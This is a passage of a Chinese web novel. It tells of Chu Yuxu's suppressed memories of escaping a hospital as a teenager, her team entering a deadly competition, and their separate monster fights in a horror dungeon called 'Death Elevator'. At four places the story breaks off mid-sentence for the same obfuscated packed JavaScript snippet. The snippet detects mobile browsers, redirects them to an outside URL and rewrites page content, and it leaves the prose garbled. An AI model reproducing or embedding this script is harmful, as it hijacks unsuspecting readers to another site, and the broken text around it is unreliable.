初与序最终接过面包屑,朝火腿面包道谢:“多谢。” 面包快乐地哼起了走调的小曲,D栋的灯火在雪幕中晕染成一片暖黄的光海。 凌晨一点左右,初与序的住处浸在永冬之城特有的蓝调夜色里,房间里的暖气发出低沉的嗡鸣,窗外的雪下得很大。 火腿面包蜷在枕边,把自己摊成一张扁平的“面包毯”,芝麻眼半眯着,像是在守夜。 初与序盯着掌心里那粒金色的面包屑看了几秒,最终将它含进舌下。甜味在口腔里缓慢化开,带着一丝若有若无的奶香,像童年只吃过一次的廉价糖果。 “睡吧睡吧今晚做个好梦~”面包哼着摇篮曲,下一秒被初与序掐住:“不用唱歌,谢谢你。” 黑暗如潮水般漫上来,梦境像一卷泛黄的照片,在黑暗中缓缓展开。 梦境又是熟悉的场景,初与序梦见自己十五岁那年。瘦弱的身体裹在宽大的病号服里,布料下藏着未愈合的伤口。血从绷带里渗出来,在蓝白条纹上洇开暗红的痕迹。冬夜的风从走廊尽头被安上栏杆的窗户缝中灌进来,她赤脚踩在冰冷的地砖上,每一步都像踩在刀尖。 医务室的门虚掩着,透出一线暖黄的光。 她蜷缩在角落里等,但初与序不知道梦境里的自己在等谁。 不知过了多久,走廊尽头传来极轻的脚步声。一个十五六岁的少年穿着干净的病号服走来,右边袖口挽到手肘,露出的皮肤在月光下白得近乎透明,但也布满伤痕和淤青。 他怀里抱着偷来的纱布、碘伏和一包棉花,走路时一点声音都没有。 “给你。”他蹲下来,声音压得很低。 初与序没接,盯着他整洁的衣领:“你为什么不穿鞋?” 男生愣了愣,低头看了看自己冻得发红的脚背:“怕吵醒护士,被她们发现我们溜出来就完了。” 他忽然皱眉,伸手碰了碰初与序病号服上的血迹,“伤口又裂了?” 他的指尖很凉,像不属于这里的人。 医务室的门突然“”吱呀一声,两人同时僵住。男生一把拽过初与序躲进置物柜后的死角,他的呼吸喷在她耳畔,带着少年特有的清冽。护士的脚步声近在咫尺,手电筒的光扫过他们的头顶。 “别憋气。”男生用气音提醒。 初与序这才发现自己憋得胸口发疼。 护士终于离开,男生摸黑拧开碘伏瓶,棉签沾了药水,在黑暗中精准地找到她手臂上裂开的伤口。 “疼就咬我。”他把自己的另一只胳膊递过来。 初与序没咬,却在药水碰到伤口的瞬间攥紧了他的衣角。男生的动作顿了顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16020236|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忽然从病号服口袋里掏出一片蓝紫色的花瓣,放进她手心:“给你,这片花瓣永远不会枯萎。” “这是什么花?”初与序问。 男生看着她不同瞳色的眼睛:“勿忘我。” “为什么给我勿忘我?” “因为…”男生想了想,“听说这种花,能让人记住不想忘记的事。” 初与序握紧了花瓣。 窗外开始下雪,雪花粘在玻璃上,像谁撒了一把盐。男生系紧纱布的结,雪光中,他的睫毛上沾了一点亮晶晶的霜。 “我打算明天晚上逃跑。”初与序小声说,“时间和路线已经定好了。” “这是你第三次逃跑了。”男生也放轻声音,“离开这里后你打算去哪里?回家吗?” 初与序摇摇头:“我找不到我妈妈,更不会回寄养家庭,我没有家。但我可以捡垃圾养活自己。”她转向男生,凑到他耳边问,“你要不要和我一起跑?” 男生没有犹豫,坚定地点了点头。刚想说什么,就看见走廊今天的病房里传来手电筒的光柱,护士长的咆哮由远及近:“那个小畜生又跑哪儿去了?!” 两人蜷缩在狭小的空间里,膝盖抵着膝盖。初与序能感觉到少年急促的呼吸声,而自己的心跳声大得离谱。当光柱扫过藏身之处时,男生突然侧身将她完全挡住。 “别怕。”他用气音说,袖子擦过她胳膊,“我们一起走。” 梦境开始扭曲,她记得,当年第三次的逃跑依旧失败,自己病房外多了护士看守。 初与序在永冬之城的黑夜里睁开眼睛,大口喘息着。 枕边的火腿面包睡得正香,打着呼噜,而她摸到右耳耳骨夹的手指在发抖。窗外大雪纷飞,仿佛要掩埋所以来不及说出口的答案。 床头的玻璃杯里,不知何时多了一片勿忘我花瓣。 而花瓣上,还沾着十五岁冬夜的雪粒。 初与序盯着那花瓣,蓝紫色的花瓣在她的注视下,竟缓慢地变得透明,直到消失不见。 刚刚梦到的男生,她不记得。 不记得在善佑医院时,有人陪她一起逃跑;不记得有人帮她偷医务室的药;不记得自己曾有个同伴。 面包在她枕边翻了个身,迷迷糊糊道:“消化完毕…噩梦转化率87%…” 初与序一把将它拎起来:“别睡了,这不是梦。” 面包被弄醒,愣了半天才听懂初与序说的话。它的芝麻眼睛眨了眨:“哎呀,被发现了。” 它伸了个懒腰,“严格来说,这是被‘加密’的记忆。系统把它们伪装成梦,这样你就不会主动去回想了。” 窗外的雪光映进来,初与序耳骨夹上的纹路微微发亮。她想起冬逢初长剑上的勿忘我花纹,想起武器共鸣时闪过的病房画面。 现在看来失去原先记忆的不只有冬逢初。 面包悄悄观察她的表情,小声说:“要再来一粒面包屑吗?这次可能梦见更多哦…” 初与序松开它,不打算继续睡,起身走到窗前。D栋的灯光在雪幕中晕染成片,一部分D栋住户还在楼□□验夜生活。 她突然很想知道,为什么永冬之城把自己拉了进来。 40.报名参赛 清晨,永冬之城的雪已经停了,但天空依旧阴沉得像是被一层浅灰色的雾霭笼罩。五人聚集在D栋的公共休息室里,窗外的冷光透过玻璃,在桌面上投下模糊的光斑。 随歌盘腿坐在沙发上,膝盖上摊开一台笔记本电脑,屏幕的蓝光映在他略显兴奋的脸上。其余人坐在周围:江意靠在扶手椅里;景明垂抱着胳膊站在窗边;初与序安静地坐在角落,火腿面包被她留在家里;冬逢初低头划拉着论坛,偶尔抬头瞥一眼屏幕。 “规则出来了。”随歌敲了下回车键,投影光幕在墙面上展开,“这届团队对抗赛和以往一样,玩家一开始不会知道副本内容,也不会知道具体参赛人数。” 光幕上浮现出血红色的文字: 【基础规则】 「1.存活至最后:基础奖励1000积分」 「2.击杀/救援:每杀死一名敌对玩家,或救援一名乙方玩家,额外获得500积分」 「特殊权限:最终存活队伍可进出系统某大厦(除系统总部核心区),以及一份“特殊奖励品”」 “救援,字面意思。”随歌介绍道,“系统偶尔会随机绑架某个玩家,丢进副本的‘地狱区’。要么队友去救,要么等死。” 景明垂手指敲着窗台:“我们连对手是谁都不知道?” “对。”随歌合上电脑,光幕消散在空气中,“可能是排行榜上的强队,也可能是隐藏的疯子。唯一能确定的是,所有人都不是善茬。尤其是永冬之城的著名多人队伍,名字叫‘屠宰场’。” “不过有个好消息。”他打了个响指,“本来这届对抗赛D栋八楼和九楼那五人队也打算参赛,但在得知我们要报名后,立刻放弃了参赛资格。他们也不希望能对上我们。” 初与序站起身:“报名什么时候截止?” “后天。”随歌回答。 五人迅速达成一致,随歌在电脑上调出对抗赛的报名界面。屏幕上跳出血红色的警告字样: 【永冬之城第118560届队伍对抗赛】 「报名截止:158小时23分钟后」 「当前已报名队伍:26支」 【注:队伍对抗赛危险级数较高,请勿一时兴起,确认报名】 “确认报名。”江意淡淡地说。 随歌点击确认的瞬间,整个房间突然暗了下来。天花板上的应急灯管开始闪烁,一个冰冷的机械女声从四面八方响起: 【系统通告】 「玩家江意已登记参赛」 「玩家随歌已登记参赛」 「玩家初与序已登记参赛」 「玩家景明垂已登记参赛」 「玩家冬逢初已登记参赛」 【队伍代号生成中…】 【恭喜“拯救世界顺便偷草莓牛奶计划组”队伍报名成功】 五人:“???” 随歌不好意思地挠挠脑袋:“抱歉抱歉,我忘记把名字改过来了。”他看向笔记本,“但是名字改不了了,要不就这个吧,我觉得挺好听的。” “对啊对啊,很好听。”五人身后突然冒出声音,初与序猛地回头,看见本该呆在家里的火腿面包此时此刻正坐在冬逢初肩膀上。 “你怎么出来的?”初与序没好气道。 面包晃着自己两只“手”,笑眯眯道:“打开门就出来啦,我又不是没有手。还有,你们能不能带我一起去参赛?我还没进过副本呢。” 江意面无表情:“不能。” “为什么不能?!”面包嚎道,“我也想去啊啊啊!” “你是面包啊!”随歌睁大眼,“你要去进去了,会被其余玩家一脚踩扁的,我们不可能一直把你扛肩上。” 火腿面包很认真地想了想,最终点点头:“说得也对,那我不去了。” 五人顿时松了口气,火腿面包跳到初与序肩膀上,芝麻眼睛眨了眨:“你去哪?我跟你一起。” “去系统处理区附近。”初与序说,“现在七点整,执行官该上班了。” 其余人没询问她去哪干什么,只叮嘱了一句“注意安全”,就四散开来干自己的事。 清晨的雪粒子在微弱的阳光下泛着细碎的金光,初与序站在巷口的阴影处,抬头望向系统处理区大厦。全息投影屏横贯天际,滚动播放着团队对抗赛的报名名单,其中最醒目的赫然是一行闪烁的字样: 【拯救世界顺便偷草莓牛奶计划组】 初与序面无表情低下头不去看。 火腿面包钻进她口袋里,火腿丁激动地晃着:“你们这名字太有标志性了。” 初与序没搭理它,冷静地观察这大厦周围每一个角落,和每一个执行官进入大厦的时间。 街角,几个玩家正凑在一起闲聊,声音顺着寒风飘了过来: “江意的队伍居然报名了团队赛?自从几年前的团队赛结束,他已经好几年不参赛了。” “你怎么知道是他的队伍?系统把每支队伍的信息都模糊了,只能看到最基础的队名和人名。” “永冬之城谁不知道随歌喜欢喝草莓牛奶?那黄毛天天去自动贩卖机刷新牛奶。这队名这么离谱,一看就是随歌取的。听说这次连他都拉着江意报名了。” “不过江意都连续二十个月霸榜第一了,这次突然参赛,怕不是要血洗赛场。” 初与序不动声色地将隐入黑暗,确保几人看不见自己。面包从她口袋里探出半个身子,芝麻眼睛滴溜溜地转,显然也在听。 另一个玩家压低声音,神神秘秘地说:“你们听说了吗?齐无尽现在是系统的人,最近在调查‘双生武器’的事。” 周围几人顿时倒吸了一口凉气,初与序抬了抬眼。 “全服排名第四的那个?他投靠系统了?” “可不是嘛,他现在在系统办事处工作,直接成为高阶执行官了。据说他能直接调用玩家数据,上周有个骂他的玩家,当晚就被扔进S级副本了。” “完了…那这次月度巅峰赛,江意和随歌不参加,排名肯定要大洗牌了。” “废话,以前前五名就是他们几个轮流坐庄,现在江意不打了,齐无尽又成了系统的人,剩下的那几个……” 话音未落,远处突然传来一阵骚动。 初与序侧眸望去,只见街道尽头,几个玩家惊慌失措地散开,而一道修长身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16020237|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影正缓步走来。 那人戴着帽子,露出的脸上没有任何表情,身穿执行官制服,但袖口锈着暗红色的纹路。制服下摆扫过雪地,立在人群里,目光直直朝着初与序的方向射来。 面包猛地缩回口袋,瑟瑟发抖:“完了完了,是齐无尽…” 初与序眼神一冷,指尖无声地按上短刀。 而就在这时,她的耳骨夹突然传来一阵细微的波动,冬逢初的声音直接在她脑海中响起: “意哥说,要是你碰到了齐无尽,别和他对上。” 初与序叹了口气,收回打算拔刀的手。而齐无尽也转移视线,往远处走去。 面包松了口气,跳到她肩膀上。初与序的目光重新回到大厦,慢慢摸清了规律: 七点半,夜班执行官交班,监控系统会有10秒的短暂延迟。九点十五,清洁机器人从西侧小门进出,门禁卡识别存在3秒漏洞。十二点,几个执行官会来天台观察楼下的玩家。 就在这时,大厦侧门滑开,一队执行官走出。初与序迅速后退半步,将自己更深地藏进巷子的阴影里。面包也识相地闭嘴,假装自己只是一块普通的装饰物。 领队的执行官突然停下脚步,抬头望向全息屏,似乎叹了口气。他看上去才十几岁,胸口银牌的标号是C13。 “初与序,你看大屏幕。”面包忽然戳了戳初与序的脸颊,“有新队伍了。” 初与序抬头,全息屏幕的地步悄然刷新,两行新的队伍信息无声浮现: 【***(1/1)】 【今天晚饭吃什么(3/3)】 初与序的目光停留在那支单人队伍的名字上,面包小声嘀咕:“这算什么名字?乱码吗?还是故意起的?” 路过的玩家也注意到了新增的队伍,议论纷纷: “单人参赛?疯了吧?团队对抗赛从来都是多人制,系统什么时候允许单人报名了?” “而且你看那名字,根本显示不出来,该不会是哪个高权限玩家卡了BUG吧?” “至于‘今天晚饭吃什么’……噗,这届起名都这么随便吗?” 初与序没有参与讨论,她的视线缓缓扫过那支单人队伍的名字,没有多想。 冬逢初的声音再次响起:“初与序,下一个副本通知已经出来了,你看面板。” 初与序指尖一划,系统面板在眼前展开。果然,一条新通知闪烁着刺目的红光: 【副本名称:《死亡电梯》】 【副本等级:A级】 【开启时间:大后天00:00】 【队伍:拯救世界瞬间偷草莓牛奶计划组(全员参加)】 “这副本听起来就很阴间……”面包的芝麻眼睛盯着面板。 初与序没说话,关掉面板。耳骨夹再次传来波动:“意哥查过资料,这个副本上个月出现过一次,生还率17%。” “嗯。”初与序应了一声。 面包小声嘀咕:“你们觉不觉得…系统最近在针对你们?” 初与序垂眸,想起自己第一场副本的难度是B级,而正常的新手副本等级为D。 “可能吧。”她淡淡道。 41.死亡电梯 凌晨的永冬之城车站笼罩在一片幽蓝的雾气中,D019次列车静静卧在轨道上。初与序踏上月台时,另外四人已经到齐。 江意靠在栏杆上闭目养神,随歌正无聊地抛着一枚硬币,景明垂抱着胳膊冲她点了点头,而冬逢初站在阴影里,黑色耳骨夹泛着冷光。 车门划开,J23依旧穿着黑色制服,扫过众人:“你们副本时间怎么是凌晨?大晚上的困死了。” 随歌笑嘻嘻地走上列车:“这不是系统分配的吗,我们也想回去睡觉。” J23翻了个白眼:“别以为我们执行官不知道,D栋住户全是夜猫子。” 车门关上,随着刺耳的汽笛声,列车启动。 初与序忽然感觉有只冰冷的手指擦过自己的后颈,回头只看见车窗上自己苍白的倒影,以及倒影身后,那个多出来的模糊人影。 【尊敬的各位玩家您好,您搭乘的D019次列车正在行驶。请配合工作人员妥善安置好行李,防止遗失。本次列车起点站:永冬之城;终点站:《死亡电梯》。接下来,我会为各位讲解副本背景:】 【这是一座废弃大厦,共50层,地上30层,地下20层。各位被强制送入不同楼层的电梯,必须在黑暗中进行探索。大楼内潜伏着未知的恐怖存在,而负数楼层更是有去无回的死亡地带】 【主线任务:】 【1.每日探索:电梯每次随机停靠,玩家必须走出电梯,在完全黑暗的楼层中寻找“安全标记”才能返回】 【2.生存规则:若电梯停在负数楼层(B1-B20),进入者必死,除非找到“生还之钥”】 【每层楼只能使用两次对讲机交流(每次30秒),滥用会招致危险】 【3.终极目标:在第四次全员集合最底层(B18),摧毁“黑暗心脏”逃出生天】 【祝各位存活愉快】 整个列车沉默了几秒,随即爆发出一阵哭嚎。随歌一手抓住冬逢初,一手拽住江意:“我不想和队友分开啊!!我害怕!!” “…撒手。”江意无奈,“这种分开行动的副本又不是第一次参加。” “那我还是怕啊!!!”随歌死也不撒手,“尤其是这种未知的,说不定走一半来个鬼突脸呢!” 冬逢初拍了拍他肩膀,温柔地安慰:“别担心,不是有对讲机吗?至少不是不能联系。” J23从后视镜扫了眼随歌:“行了,就你这样怎么去参加团队赛?那里的副本可麻烦多了。” “我可以抱大腿啊。”随歌笑嘻嘻道,“我的四个队友都牛逼,我跟着他们就行。” 列车缓缓降速,发出一声刺耳的刹车声,停在了浓雾深处。车门打开的瞬间,潮湿阴冷的空气裹着血腥味扑面而来。五人走下列车,他们脚下是龟裂的水泥地,缝隙里爬满暗红色的苔藓。 “很开心我们能来到地狱观光团。”随歌轻轻踢了踢脚边一只腐烂的老鼠,老鼠尸体忽然炸开,把他吓了一跳。 迷雾渐渐散开,一栋扭曲的钢筋水泥大楼立在众人面前。这座废弃大楼的外墙爬满青黑色藤蔓,破碎的窗户像无数孔洞的眼眶。 “三十层地上,二十层地下。”江意仰头望着楼顶没入乌云的部分,“系统把电梯井改造成了垂直副本。” 初与序刚打算向前迈出一步,下一秒,身边的冬逢初忽然开口:“别动!” 初与序僵住的瞬间,一根钢筋从她面前呼啸而过,深深插入地面,溅起的碎石在她手背上划出血痕。但凡她刚刚没有停下,那根钢筋此刻会直直穿过她的身体,将她钉死在地面上。 “偷袭?!”随歌吓了一跳,“副本没开场,里面的道具怎么会自动偷袭呢?” 五人意识到不对劲,抬头顺着钢筋砸下来的方向看去,但除了阴森森的大楼和一整片天空。什么也没有。 大楼正门的玻璃旋转门突然自动转动起来,每转一圈就吐出一张泛黄的照片。景明垂用琴弦卷起几张,上面全是不同玩家在电梯里惊恐万状的面容。 “叮——” 腐朽的自动门突然发出欢快的电子音,露出黑洞洞的入口。系统的机械声从上空飘来: 【友情提示:上次玩这个副本的团队,最后在B3层找到了三具尸体…和两个活人。】 随歌展开竹扇对着初与序手背的伤口扇了扇,伤痕以肉眼可见的速度愈合。他“嘿嘿”一笑:“有意哥在,我就可以随时用治疗技能了。” “谢谢。”初与序说,“进去吧。” 黑暗笼罩着这座建筑,刚进门,映入眼帘的是五座并排而立的电梯,门缝里渗出若有若无的冷气。 初与序走上前,指尖触到冰凉的金属门。她低头,看到地上整齐摆放的五个手电筒。型号一致,电量满格,明显是为他们准备的。 “看来我们没得选。”她弯腰拾起其中一个。 景明垂走上前拿起一个,轻轻按动开关,光束划破黑暗,照向电梯门。那上面布满划痕,像是被上面东西反复抓挠过。 随歌试着按了下电梯按钮,出乎意料的是,它们竟然还能运行。五部电梯同时发出“叮”的一声,门缓缓打开,里面空荡荡的,只有头顶一盏惨白的灯,忽明忽暗。 江意拿起最后一个手电筒,掂了掂,声音冷静:“对讲机每层楼用两次。走出电梯前通知其余人到了哪一层,回来时报个平安,别浪费次数。” “初与序和冬逢初可以用道具交流,你们注意一点。”他看向两人右耳的耳骨夹。 初与序看了江意一眼,点头。 他们踏入电梯,五部电梯门同时关闭,将他们送往未知的楼层。 电梯发出刺耳的金属摩擦声,缓缓停下。初与序看了一眼楼层,对着对讲机简短报出楼层:“7楼。”声音冷静得不像身处未知的黑暗。 下一秒,电梯门向两侧滑开。 浓稠的黑暗扑面而来,像某种有实质的活物,瞬间吞没了电梯内的微弱光线。初与序握紧手电筒,手指因用力而微微发抖。光束劈开黑暗的刹那,她看到地面上有黏腻的、干涸的血迹,一直延伸到视线之外的走廊深处。 空气中浮动着铁锈和腐烂的气味。 她迈出电梯。身后,电梯门无声地合拢,将最后一丝光亮切断。 手电筒的光束在黑暗中划出一道颤抖的路径,照亮了斑驳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16026091|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙壁和歪斜的安全出口标志。初与序贴着墙壁缓慢前行,耳边只有自己刻意放轻的呼吸声。 突然,对讲机沙沙作响,传来其他人的声音: “12楼。”冬逢初的嗓音温柔,但带着一丝紧绷。 “3楼…这里有点不对劲。”景明垂的声音比平时更轻,像在压抑着什么。 “B5,但电梯门似乎故障了,没打开。”江意冷声说,他的楼层让其余四人紧张起来,B5是负数楼层。 “9楼,这破地方黑咕隆咚的。”随歌的声线依然带着惯常的懒散,但尾音略微发颤。 对讲机再次陷入沉寂,初与序深吸一口气,光束扫过墙角。那里有什么东西窸窣一动,迅速缩回了黑暗。她稳住呼吸,继续向前探索,寻找能让电梯再次开启的“安全标记”。 初与序往前走了一步,瞳孔骤然收缩。 只见前方的墙壁上布满了深褐色的抓痕,那些痕迹从天花板一直延伸到地板,像是无数人曾在这里绝望地挣扎过。她无声地从腰间抽出冰蓝短刀,刀刃在黑暗中泛着冷光。 走廊两侧的门大多半开着,黑洞洞的门缝里渗出阴冷的气流。在经过“702”室时,初与序忽然停住脚步,低头看去。门缝下正缓缓漫出暗红色的液体,在手电光下泛着诡异的光泽。 “滴答。” 一滴粘稠的液体从天花板落在她肩头,初与序缓缓抬头,光束照向头顶。 一个苍白的女人脸正倒悬着与她四目相对。 女人裂开的嘴角一直延伸到耳根,漆黑的眼眶里没有眼球,只有蠕动的黑色细虫。 “……留下来……”那张脸发出湿漉漉的气音。 初与序瞬间挥刀,寒光闪过,那张脸尖叫着缩回黑暗。但天花板开始大面积渗血,粘稠的血浆像活物般顺着墙壁蜿蜒而下。她果断踹开最近的“705”室门冲了进去。 房间里堆满蒙着白布的家具,中央摆着一面布满裂痕的落地镜。初与序刚踏入两步。身后的门就“砰”地自动关机。镜面突然渗出鲜血,浮现出扭曲的字迹: 「你看得见我吗?」 她握刀的手纹丝不动,光束扫过角落。一个穿红裙的无头人偶正以诡异的姿势向她爬来,颈椎断口处垂挂着腐烂的肉块。 短刀划破空气的刹那,人偶突然加速,冰凉的手指抓住初与序脚踝。她旋身下劈,刀刃斩断人偶手臂的瞬间,镜面轰然炸裂,无数玻璃碎片中伸出苍白的手臂! 她侧滚避开抓挠,刀锋横斩,三根断指飞落在积灰的地毯上。无头人偶趁机扑来,被她一记膝撞顶碎胸骨,短刀直接捅进脊椎断口狠狠一绞!人偶剧烈抽搐着化作黑烟消散。 初与序趁机打开房门,整条走廊已经面目全非。墙皮大面积剥落,原本的消防指示牌变成了用内脏拼成的箭头,指向深处。 远处传来童谣声: “娃娃背着洋娃娃…” 手电筒突然频闪,光束照到走廊尽头有个穿蕾丝裙的小女孩背对着初与序蹲着,正在地上画着什么。当初与序靠近几米时,小女孩突然180度扭转过头。 那张脸上没有五官,只有用黑线缝出来的微笑。 42.死亡电梯 “姐姐来玩跳房子吗?”女孩举起血淋淋的手指,地上用血画着的格子正在蠕动。 “……谢谢你,我不玩。”初与序说。 趁着女孩愣住,她箭步上前,短刀已经抵住女孩咽喉,却在看清格子内容后愣了一下。只见每个格子里都嵌着一张痛苦的人脸,朝着她惨叫。 下一秒,女孩四肢反折冲来,初与序踹翻旁边的灭火箱器。钢瓶砸中怪物的刹那,她冲刺跃起,短刀贯穿女孩头颅将其钉在地上。黑血喷溅中,整条走廊的房门开始剧烈震颤! 从各个房间涌出的东西超出人类认知:709室爬出由断肢拼接成的蜈蚣状生物;消防栓箱里钻出长满牙齿的脐带,天花板垂下沾满眼球的触须。 初与序的短刀在黑暗中划出银色轨迹,斩断缠向脖颈的脐带时,小腿突然被蜈蚣生物的骨头刺穿。她皱了皱眉,反手将短刀插进它头部关节缝隙猛地一撬。 触须趁机缠住她的手腕,手电筒坠地的瞬间,她腾空而起,双腿绞住触须根部生生折断! 初与序踉跄着退到电梯间,突然发现原本空白的墙面上浮现出血字: 【7】 字迹正被某种力量快速抹除,她用尽全力将短刀掷出,刀刃刺入血字的刹那,电梯门发出生锈的呻吟,缓缓开启。 身后怪物们的嚎叫几乎震破鼓膜,初与序冲进电梯的瞬间,无数苍白手臂伸进门缝,被电梯门缓缓挤断。当电梯门最后闭合时,透过缝隙看到的最后景象,是整层楼的墙壁都睁开了血红的眼睛。 初与序点开面板,幸运的是,短刀安安静静地躺在那里,看来武器是随玩家移动的。 “7楼…安全回来。”她喘息着按下对讲机,在面板里扯下绷带扎紧腿上的伤口。 电梯门打开的瞬间,冬逢初就察觉到了不对劲。 12楼的空气比7楼的更加凝滞,仿佛整层楼都浸泡在黑暗中。他单手按在剑柄上,另一只手举起手电筒,光束刺入走廊深处,照亮了地面上密密麻麻的黑色手印。那些手印五指细长,像是某种生物用指尖拖行留下的痕迹。 他对着对讲机报出楼层后,走出电梯。鞋子踩在地面上,发出轻微的“咯吱”声,像踩碎了某种干枯的虫壳。 走廊两侧的墙壁上,原本静止的影子突然蠕动了一下。 他猛地停住脚步。 那些影子在爬。 起初只是轻微的起伏,但很快,墙上的黑影开始脱离平面,汇聚成扭曲的人形。他们没有五官,只有拉长的四肢和尖锐的指爪,在地面上拖行时发出令人牙酸的刮擦声。 “嘶……嘶……” 冬逢初缓缓拔出长剑,寒光在黑暗中划出一道冷冽的弧线。 下一秒,最近的一道影子突然暴起! 黑影如箭般射来,冬逢初侧身避开,长剑横斩,剑刃划过影子的躯体,却像是劈进了粘稠的泥浆。黑影被斩断的部分瞬间液化,又迅速重组。 更多的影子从四面八方涌来。 他后撤一步,背靠墙壁,剑锋横扫,逼退靠近的黑影,但脚下的地面突然一软!地板不知何时已化作一片漆黑的泥沼,数只影手破土而出,死死扣住他的脚踝,将他向下拖拽! 冬逢初将长剑狠狠刺入其中一只影手,剑锋蓝光流转,那些尖刺在即将触到剑身的瞬间突然畏缩着退回黑暗。 ……原来如此。 他忽然松开手电筒,任其滚落在地。在光源摇曳的刹那,整条走廊的阴影活了。天花板垂下蛛网般的影丝,两侧墙壁渗出黑色流体,所有影子都在向剑锋蓝光无法笼罩的盲区汇聚。 冬逢初将长剑倒插在地。 幽蓝光纹如涟漪般扩散,黑影们发出高频的嘶叫,急速后退。他弯腰拾起手电筒,光束扫过前方标着「1203」的会议室,而门缝里透出一线不自然的白光。 黑影在蓝光范围外焦急地游走。冬逢初冷静地观察着四周环境,突然翻转剑锋,用剑柄击碎走廊的消防柜玻璃。警报声炸响的瞬间,所有影子同时暴起! 他踏着翻飞的玻璃碎片向前冲刺,剑尖划过墙壁迸溅出蓝色火星。那些火星落在影潮上,立刻灼烧出焦黑的孔洞。借着这短暂的阻滞,他撞开会议室的门,反手将长剑卡在门框。剑纹蓝光与室内刺目的投影仪白光形成交错的光网,将追来的黑影灼成缕缕黑烟。 投影仪在空荡的会议室中央嗡嗡运转,播放着一段雪花噪点。冬逢初的视线落在西墙上,那里用荧光涂料写着巨大的数字【12】,在强光照射下正逐渐变成血红色。 门外传来指甲刮擦金属的声响,他低头看着自己随呼吸而明灭的剑纹,突然将剑身横举到投影仪前。 幽蓝光纹经过透镜放大,在整面白墙上投出浩瀚星河般的图景,门外的刮擦声立刻变成凄厉哀嚎,有什么重物从走廊滚落。 冬逢初大步上前,染血的手掌按在荧光数字时,电梯运转的机械声从远处传来。 “十二楼,安全返回。”他对着对讲机说,声音平静。 踏进电梯时,他最后瞥了一眼会议室。投影仪的光圈里,有个模糊的人形正对着他慢慢勾起嘴角。 踏出电梯的下一秒,景明垂听到了婴儿的哭声:“呜……哇啊……” 那声音细细弱弱的,像是从很远的地方飘过来,却清晰地钻进耳朵里。景明垂下意识抽出手腕上其中一根琴弦。 手电筒的光照过去,墙壁上贴满了泛黄的儿童涂鸦,歪歪扭扭的太阳,没有五官的脸,还有用红色蜡笔反复描摹的“妈妈”。 哭声是从309房间传来的,门虚掩着,景明垂用琴弦轻轻挑开门缝。 房间里摆着一张婴儿床,床头的旋转铃无声地转动,投射出扭曲的阴影。哭声就是从那里传来的,可床上空荡荡的,只有一团皱巴巴的襁褓。 “我……饿……” 这次的声音近在迟只,就在她耳边! 景明垂猛地侧身,琴弦在空气中划出尖锐的啸音,却什么也没碰到。但婴儿床突然剧烈摇晃起来,襁褓中缓缓立起一个“东西”:它有着婴儿的轮廓,但皮肤是青灰色的,脖子像蛇一样拉长,头颅180度扭转过来,裂开的嘴里布满细密的尖牙。 它朝景明垂张开双臂,她看到了它指尖连接的、几乎透明的丝线。那些线正从天花板垂下来,操控木偶般操控着这个“婴儿”。 琴弦在她指间绷紧成一道寒光,当怪物扑来的刹那,琴弦斜拉而过! 天花板的丝线应声而断,怪物瞬间瘫软下来。但下一秒,整个房间的玩具突然开始自动移动:发条青蛙跳向她的脚踝,铁皮小火车喷出黑色黏液,布偶熊的缝合线崩开,露出里面蠕动的蛆虫。 景明垂在狭小的空间里腾挪闪避,琴弦飞舞,所过之处,玩具零件四散崩裂。当她斩断最后一个发条齿轮时,婴儿床突然炸开。 真正的“它”终于出现了。 那是一个由无数丝线缠绕成的人形,驱赶上缝着十几个婴儿的嘴,此刻正同时发出刺耳的啼哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16026092|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 声浪几乎能把房间里所有东西震碎,景明垂咬破舌尖保持清醒,琴弦在手中交错成网。 当怪物扑来时,她迎面冲上,琴弦精准地缠住它的脖颈。 她的双手交错发力,锋利的金属线收紧。怪物的十几张嘴巴同时发出濒死的尖叫,丝线躯体分崩离析,化作漫天飘落的断发。 琴弦温顺地回到景明垂的手腕上,她在婴儿床的残骸下发现了用血画在地板上的数字: 【3】 